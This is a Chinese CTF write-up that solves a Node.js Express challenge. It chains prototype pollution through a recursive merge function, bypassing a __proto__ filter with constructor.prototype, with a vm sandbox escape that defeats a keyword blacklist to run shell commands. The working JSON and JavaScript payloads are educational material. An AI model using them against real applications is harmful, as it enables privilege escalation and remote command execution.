0x01 前言
好长时间没做CTF了,朋友扔了个比赛,web方向常规php反序列化、Flask SSTI注入和Springboot题目已经有点索然无味了,一道Node JS 题目引起我的注意,这道题只有24Slove 并且有6个Hint(对着hint很容易做出来)
感谢月影师傅百忙中抽空跟我一起攻克这道题。
顺便吐槽互联网比赛用公共环境,有人把flag删掉了让我很恼火,希望大家别浪费其他人时间。
0x02 题面
题目叫做Easy Node.js Sandbox
题目源码
const crypto = require('crypto')
const vm = require('vm');
const express = require('express')
const session = require('express-session')
const bodyParser = require('body-parser')
var app = express()
app.use(bodyParser.json())
app.use(session({
secret: crypto.randomBytes(64).toString('hex'),
resave: false,
saveUninitialized: true
}))
var users = {}
var admins = {}
function merge(target, source) {
for (let key in source) {
if (key === '__proto__') {
continue
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
console.log(target)
return target
}
function clone(source) {
return merge({}, source)
}
function waf(code) {
let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
for (let v of blacklist) {
if (code.includes(v)) {
throw new Error(v + ' is banned')
}
}
}
function requireLogin(req, res, next) {
if (!req.session.user) {
res.redirect('/login')
} else {
next()
}
}
app.use(function(req, res, next) {
for (let key in Object.prototype) {
delete Object.prototype[key]
}
next()
})
app.get('/', requireLogin, function(req, res) {
res.sendFile(__dirname + '/public/index.html')
})
app.get('/login', function(req, res) {
res.sendFile(__dirname + '/public/login.html')
})
app.get('/register', function(req, res) {
res.sendFile(__dirname + '/public/register.html')
})
app.post('/login', function(req, res) {
let { username, password } = clone(req.body)
if (username in users && password === users[username]) {
req.session.user = username
if (username in admins) {
req.session.role = 'admin'
} else {
req.session.role = 'guest'
}
res.send({
'message': 'login success'
})
} else {
res.send({
'message': 'login failed'
})
}
})
app.post('/register', function(req, res) {
let { username, password } = clone(req.body)
if (username in users) {
res.send({
'message': 'register failed'
})
} else {
users[username] = password
res.send({
'message': 'register success'
})
}
})
app.get('/profile', requireLogin, function(req, res) {
res.send({
'user': req.session.user,
'role': req.session.role
})
})
app.post('/sandbox', requireLogin, function(req, res) {
if (req.session.role === 'admin') {
let code = req.body.code
let sandbox = Object.create(null)
let context = vm.createContext(sandbox)
try {
waf(code)
let result = vm.runInContext(code, context)
res.send({
'result': result
})
} catch (e) {
res.send({
'result': e.message
})
}
} else {
res.send({
'result': 'Your role is not admin, so you can not run any code'
})
}
})
app.get('/logout', requireLogin, function(req, res) {
req.session.destroy()
res.redirect('/login')
})
app.listen(3000, function() {
console.log('server start listening on :3000')
})
读题
题目考点在原型链污染+沙盒绕过,其中原型链污染常用的__proto__被加入了黑名单,熟悉javascript的小伙伴们都知道,"".__proto__ == "".constructor.prototype
那么可以用constructor.prototype来代替proto,关注一下注册逻辑,只要users变量中有username就会注册失败,赋值方式为users[username]=password
沙盒有个waf函数,过滤了很多方法,但是用很轻松的方式就绕过了。
解题1 原型链污染
在我最初的想法,希望通过这个赋值方式的问题来进行原型链污染,我尝试的payload如下:
{
"username":"constructor",
"password":{"prototype":{"admin":"1"}}
}
但是注册失败了,在debug过程中发现 constructor in users 为true,证明这种偷懒的方式不成立。
在重新阅读clone函数之后,发现merge是天然的原型链污染方法,我可以通过触发merge构造一个污染{}.__proto__的payload,则payload2如下:
{
"username":"admin",
"password":"1",
"constructor": {
"prototype": {"admin": "1"}
}
}
继而又注册失败,在debug过程中发现merge处理时先处理了constructor部分,则处理到username时{}.__proto__已经被赋值,则username in users 依然成立,注册失败。
day2早上 月影师傅告诉我他原型链污染已经解决了,看到payload时我才意识到自己犯了多蠢的错误。
前文提到了merge是题目给出的原型链污染的方法,调用merge方法的函数不止有注册,还有登录,则我们只要注册一个账号,再使用登录进行原型链污染即可以admin的权限进行登录,正确payload如下:
(其实不用注册,当原型链污染结束时已经满足了admin in users条件。
login:
{
"username":"admin",
"password":"1",
"constructor": {
"prototype": {"admin": "1"}
}
}
现在使用admin 1 来登录题目环境就可以执行sandbox了。
题解2 sandbox
在sandbox环节月影做了个大概,觉得还是让我自己构造出payload更好,当然他的实力也足够拿到flag。
我只是略懂JavaScript,对nodejs并不熟悉,换句话说就算给我一个代码执行的入口,我也不知道哪些函数可以执行系统命令,为此我查了一下手册。
只要能执行到child_process.exec即就能执行rce了,在sandbox环境下使用child_process.execSync。
接着去查nodejs 沙箱逃逸相关文章:https://xz.aliyun.com/t/11859#toc-1
在题目中sanbox的关键代码如下:
let sandbox = Object.create(null)
let context = vm.createContext(sandbox)
try {
waf(code)
let result = vm.runInContext(code, context)
vm.createContext 被传入了一个null object,如果传入的不是null,我们可以通过this.constructor... 但是这道题并没有给我们直接构造对象的空间,我们只得另辟蹊径。
好在上述文章给出了思路,只要我们在沙箱内定义一个函数接着调用,则arguments.callee.caller会为我们返回一个沙箱外的对象,即满足沙箱逃逸过程,但是我们仍需一个函数调用来获取arguments.callee.caller。
题目中的hint4内容也给出了思路:
通过 JavaScript 的 Proxy 类或对象的 __defineGetter__ 方法来设置一个 getter 使得在沙箱外访问 e 的 message 属性 (即 e.message) 时能够调用某个函数
参考文章给出的代码:
const vm = require("vm");
const script =
`
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
`;
try {
vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
console.log("error:" + e)
}
payload中需要修改一些细节,因为waf函数的存在,需要用字符串拼接的方式来规避关键字检测。
throw new Proxy({}, {get: Function('const cc = arguments.callee.caller;const p = (cc.cons'+'tructor.cons'+'tructor("return proc'+'ess"))();return p.mainMod'+'ule.req'+'uire("child_p'+'rocess").e'+'xecSync("cat /flag").toString();')})
0x03 node js ctf相关考点
原型链污染
在javascript中对象的属性可以使用_proto_来访问,JavaScript在找不到对象属性时会去父类寻找,如果父类找不到时会去父类的父类寻找,则我们如果能控制父类的__proto__即可以控制子类的属性。
在上题中我们触发原型链污染的函数是merge:
function merge(target, source) {
for (let key in source) {
if (key === '__proto__') {
continue
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
//这里就可以修改{}.__proto__来控制 username in admins = true
target[key] = source[key]
}
}
console.log(target)
return target
}
function clone(source) {
return merge({}, source)
}
题目中的merge大同小异,有细微差别就考验各位JavaScript的功力了。
至于原型对象(prototype),即实例化后对象的__proto__,即一个函数拥有的属性。
如果访问一个对象的__proto__即访问了Object.prototype。
比如:
let a = "aaa"
let b = "bbb"
a.__proto__.aaa = "123"
'123'
b.aaa
'123'
沙箱逃逸
懒得写,自己看
参考文献:https://xz.aliyun.com/t/11859
原文始发于微信公众号(頭髪的特計):从一道CTF初识Node Js
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论